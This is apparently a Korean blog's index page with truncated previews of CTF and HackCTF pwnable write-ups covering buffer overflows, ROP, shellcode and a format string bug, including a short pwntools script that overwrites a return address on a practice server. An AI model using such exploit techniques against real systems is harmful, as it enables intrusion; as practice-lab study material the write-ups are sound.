분류 전체보기 309

[zer0pts CTF 2021] Not Beginner's Stack 풀이 (64bit, shellcode)

문제 풀이 환경 : ubuntu 16.04 사용 툴 : IDA 7.5 pro 3/6 - 3/7 한국시간으로 오후 9시에 끝났다. 풀긴 풀었는데 대회시간 끝나고 풀어서 아쉽다. 아 오늘은 조금 특별하게 존댓말로 작성을 해보겠습니다. 문제 설명에 저렇게 적혀있는데 이거를 약 한시간 뒤에 알았습니다 ㅎㅎ; 암튼 단순히 return address를 덮는 문제가 아니라는 것이군요. 주어진 파일은 이렇게 세개입니다. 소스코드! main.S가 주어집니다. Analysis main.S global _start section .text %macro call 1 ;; __stack_shadow[__stack_depth++] = return_address; mov ecx, [__stack_depth] mov qword [_..

CTF/Write UPs 2021.03.08

[HackCTF : Pwnable] x64 Buffer Overflow 풀이 (64bit, BOF)

문제 풀이 환경 : ubuntu 16.04 사용 툴 : IDA 7.5 pro Analysis 대놓고 scanf에서 BOF가 터진다. How to exploit payload = dummy + SFP + RET RET를 callMeMaybe 함수로 덮는다! Let's exploit from pwn import * #p = process('64bof_basic') p = remote('ctf.j0n9hyun.xyz', 3004) e = ELF('./64bof_basic') callMeMaybe = 0x400606 payload = '' payload += 'A' * 272 payload += 'BBBBBBBB' # SFP payload += p64(callMeMaybe) # RET p.sendline(pay..

WAR GAME/HackCTF 2021.03.05

[HackCTF : Pwnable] 내 버퍼가 흘러넘친다!!! 풀이 (32bit, ROP)

문제 풀이 환경 : ubuntu 20.04 사용 툴 : IDA 7.5 pro 처음에 ROP로 풀까 생각하다가 libc 파일이 없기도하고(버전 찾기 귀찮) 마침 NX bit도 없어서 shellcode 박았다. 하지만 공부를 위해 ROP 기법을 이용하여 풀었다. 자세한(?) 분석은 아래 참고 [HackCTF : Pwnable] 내 버퍼가 흘러넘친다!!! 풀이 (shellcode) [HackCTF : Pwnable] 내 버퍼가 흘러넘친다!!! 풀이 (shellcode) 문제 풀이 환경 : ubuntu 20.04 사용 툴 : IDA 7.5 pro 150점으로 넘어갔다. 갑자기 생각보다 어려워져서(?) 깜짝 놀랐다ㅋㅋㅋ;; 주어진 파일은 문제 바이너리 파일 뿐이다. IDA로 까보자. Analysis main 함수..

WAR GAME/HackCTF 2021.03.05

[HackCTF : Pwnable] 내 버퍼가 흘러넘친다!!! 풀이 (shellcode)

문제 풀이 환경 : ubuntu 20.04 사용 툴 : IDA 7.5 pro 150점으로 넘어갔다. 갑자기 생각보다 어려워져서(?) 깜짝 놀랐다ㅋㅋㅋ;; 주어진 파일은 문제 바이너리 파일 뿐이다. IDA로 까보자. Analysis main 함수 볼 게 main 밖에 없다. main을 살펴보자. gets 함수에서 대놓고 bof가 일어난다. 왜냐하면 gets 함수는 문자열을 입력받지만 문자열을 담을 공간의 길이와 입력받은 문자열의 길이를 확인하지 않기 때문! 아 참고로 name은 전역 변수이다. How to exploit 보호기법을 확인해보면 NX bit가 설정되어 있지 않다. 이 뜻은 쉘코드를 실행시키라는 의미다. 처음에 바보같이 ret에 바로 쉘코드를 넣어주었다. 진짜 바보같다. 상식적이지 않은 행동이다..

WAR GAME/HackCTF 2021.03.04

[HackCTF : Pwnable] Basic_FSB 풀이 (32bit, FSB)

문제 풀이 환경 : ubuntu 20.04 사용 툴 : IDA 7.5 pro 문제 푸는 경험?이 부족한 것 같아서 HackCTF 포너블 파트를 공략해보려고 한다. 롸업을 최대한 보지 않고 푸는 것이 목표다. 주어진 파일은 문제 바이너리 파일 뿐이다. IDA로 까보자. Analysis flag 함수 사실 가장 먼저 보인건 저 flag 함수 ㅎㅎ... 보니까 그냥 "/bin/sh" 실행시켜준다 main 함수 vuln 함수 주목해야할 건 vuln 함수이다. 저기서 fsb가 터진다. 취약한 line은 8번 9번 라인이다. 포맷스트링을 사용하지 않기 때문! int snprintf (char *buffer, int buf_size, const char *format, ...) 참고로 BOF는 일어나지 않는다. fo..

WAR GAME/HackCTF 2021.03.04